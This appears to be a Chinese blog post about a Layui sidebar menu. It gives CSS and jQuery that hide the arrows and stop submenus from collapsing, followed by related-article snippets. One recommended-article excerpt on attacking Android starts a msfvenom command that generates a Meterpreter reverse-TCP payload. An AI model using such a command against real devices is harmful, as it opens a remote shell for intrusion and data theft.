【Layui】侧边菜单导航禁用折叠、去除箭头样式
官方提供的样式代码:
<ul class="layui-nav layui-nav-tree" lay-filter="test">
<!-- 侧边导航: <ul class="layui-nav layui-nav-tree layui-nav-side"> -->
<li class="layui-nav-item layui-nav-itemed">
<a href="javascript:;">默认展开</a>
<dl class="layui-nav-child">
<dd><a href="javascript:;">选项1</a></dd>
<dd><a href="javascript:;">选项2</a></dd>
<dd><a href="">跳转</a></dd>
</dl>
</li>
<li class="layui-nav-item">
<a href="javascript:;">解决方案</a>
<dl class="layui-nav-child">
<dd><a href="">移动模块</a></dd>
<dd><a href="">后台模版</a></dd>
<dd><a href="">电商平台</a></dd>
</dl>
</li>
<li class="layui-nav-item"><a href="">产品</a></li>
<li class="layui-nav-item"><a href="">大数据</a></li>
</ul>

解决办法:
<style>
.layui-nav-item a{
background-color: #4E5465;
color: #ffffff;
}
.layui-nav-item .layui-nav-child a{
background-color: #333333;
color: #ffffff;
}
/*禁用左侧菜单的箭头*/
body .layui-nav .layui-nav-more{display: none}
</style>
<script>
layui.use(['element','layer'], function(){
var element = layui.element, //导航的hover效果、二级菜单等功能,需要依赖element模块
layer = layui.layer;
//监听导航点击
element.on('nav(test)', function(elem){
layer.msg(elem.text());
//禁用菜单的折叠
$(".layui-nav-tree").find(".layui-nav-child").css("display","contents");
});
});
</script>
【Layui】侧边菜单导航禁用折叠、去除箭头样式的更多相关文章
- 利用ExpandableListView和gridview 显示可展开折叠菜单导航
这篇随身笔带来的是结合聚合数据“菜谱大全”做的一个菜谱可折叠一级+二级列表. 先发来一些截图一睹为快吧. ExpandableListView 可用于折叠型菜单列表,其布局主要通过getGroupVi ...
- layui 3种导航栏
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <html ...
- 分享21个基于jquery菜单导航的效果
jquery导航菜单插件制作jquery动画菜单熔岩灯菜单效果更新时间:02月15日 14:53:03 虾米精选-菜单导航-导航菜单 0浏览 / ★★★☆☆星级 / 未知软件大小/ jquery导航菜 ...
- iOS之UI--使用SWRevealViewController实现侧边菜单功能详解实例
使用SWRevealViewController实现侧边菜单功能详解 下面通过两种方法详解SWRevealViewController实现侧边菜单功能: 1.使用StoryBoard实现 2.纯代 ...
- React+Ant Design设置左侧菜单导航路由的显示与隐藏(与权限无关)
最近在学习react时,用到了很流行的UI框架Ant Design,也了解了一下Ant Design Pro,发现它们都有导航组件,Ant Design框架的导航菜单在这里,Ant Design Pr ...
- JQuery攻略(六)菜单导航
jQuery菜单导航的基础应用 此章节有 1.0 页面导航 1.01面包屑菜单 1.02菜单悬停 1.03菜单快捷键 1.04两个单独的菜单 1.05折叠菜单 1.01面包屑菜单 html <b ...
- EasyMvc入门教程-基本控件说明(11)菜单导航
基本上,是个网站就会有菜单导航,目前流行的菜单是不是这样样子的? 似乎是bootstrap引领的风格,我们就用EasyMvc实现吧,上代码: @{ var data = new List<Men ...
- iOS之UI--使用SWRevealViewController 实现侧边菜单功能详解实例
iOS之UI--使用SWRevealViewController 实现侧边菜单功能详解实例 使用SWRevealViewController实现侧边菜单功能详解 下面通过两种方法详解SWReveal ...
- Vue+elementUI 自定义动态数据菜单导航组件实现展开收缩+路由跳转router-view渲染数据 路由跳转到同一个页面带参数ID 自动刷新数据
准备:导入ElementUI 看官网教程 数据准备:JSON数据转换成树状 参考文章: JS实现 JSON扁平数据转换树状数据 后台我拿的数据是这样的格式: [ {id:1 , parentId: 0 ...
随机推荐
- 利用Metasploit攻击Android
首先我在Kali下生成一个Android的应用程序,即apk格式的文件,用到的命令是: msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip L ...
- 阿里巴巴Java开发手册(华山版).pdf
https://github.com/alibaba/p3c/blob/master/阿里巴巴Java开发手册(华山版).pdf
- 关于Discuz x3.3页面空白解决方法
今天找时间分析了一下,找到了页面空白的原因,可能是因为php版本兼容性的问题所致,所以只是部分用户遇到这种情况,这里分享一下.经过分析发现是sourcefunctionfunction_core.ph ...
- Controller的激活(1)
Public interface IController { void Execute(RequestContext requestContext) } Public abstract Class C ...
- postman:设置环境变量(参数化 & 关联)
postman是测试接口的主要工具之一 我们的测试环境主要分为test(测试环境)和pre_production(预生产环境),而他们的api都是一样的,只是ip及端口不一样 所以,我们可以设置环境变 ...
- 软件测试之Monkey 初步了解(入门级II)
1. 先熟悉monkey基本命令: cls 清除 首先测试设备是否连接成功,在命令行中输入:adb devices 查看adb版本: adb version 查看虚拟机版本:nox_adb ver ...
- Ofbiz项目学习——阶段性小结——删除数据
一.根据主键进行删除 /** * 按主键进行删除 * @param dctx * @param context * @return */ public static Map<String,Obj ...
- 常用 shell 命令 chmod | root
chmod 命令 chmod 命令 [格式1:] chmod [ugoa][+-=][rwx] 文件或目录 /*u.g.o.a : u属主,g属组,o其他用户,a所有用户*/ /*+.-.= : 增加 ...
- 关于Java锁(学习笔记)
个人学习笔记! 1)分布式锁的实现?①数据库实现单点.非重入.非阻塞.无失效时间.依赖数据库(要自己设置,可结合排它锁.乐观锁.悲观锁等混合使用)②缓存(Redis等)集群部署解决单点问题.分布式锁方 ...
- 异步模型:上下文与时间---async = request + reponse + handler + context + time;
futureHandler = current(handler, context(t0)) : T0 -> handler(context(t0),taskResult) : Tx ...